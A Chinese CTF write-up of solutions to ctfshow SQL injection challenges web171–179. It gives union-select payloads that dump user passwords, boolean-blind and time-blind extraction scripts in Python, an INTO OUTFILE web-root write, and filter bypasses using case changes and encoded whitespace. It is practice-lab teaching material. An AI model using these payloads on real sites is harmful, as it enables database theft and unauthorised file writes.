ctfshow刷题记录6(sql注入1)

sql注入

web171-173

六件套往上呼

  • 1’ order by 3 – -

  • 1’ union select 1,2,database() – -
    (无法用#进行注释,先用-- -)

  • 爆列名:1’union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘ctfshow_user’–+

  • 查表:1’union select 1,2,group_concat(password)from ctfshow_user–+

  • 1’union select 1,2,group_concat(password)from ctfshow_user–+

web174

这个比较有意思
先看题目
在这里插入图片描述
过滤了flag和数字并且区分大小写

解法一 用replacet套娃

这题的回显点只有两个。因为前面都一样,所以我们直接进行最后一步

1' union select 'q' (select replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag'

在这里插入图片描述
我们可以看到有大小写字母,因为原来是先转为十六进制后,将数字变为小写
所以还要把小写字母转回数字。我们在数据库里转
在这里插入图片描述
最后进行十六进制转字符串
在这里插入图片描述

解法二,布尔盲注脚本

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web 175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

解法一 时间盲注脚本

# @Author:Y4tacker
import requests

url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

解法二 利用读写文件写入网站根目录

http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10

之后访问

http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/1.txt

web176 大小写过滤

解法一 万能密码出结果

解法二 大小写过滤

1' uNion Select 1,2,3--+
1' uNion Select 1,2,password from ctfshow_user--+

web177

空格过滤了/**/绕过
#用%23

1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

web178

过滤了空格与*号等用%09绕过

1'%09union%09select%091,2,password%09from%09ctfshow_user%23

web179

一句话,或者%0c代替%09

1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值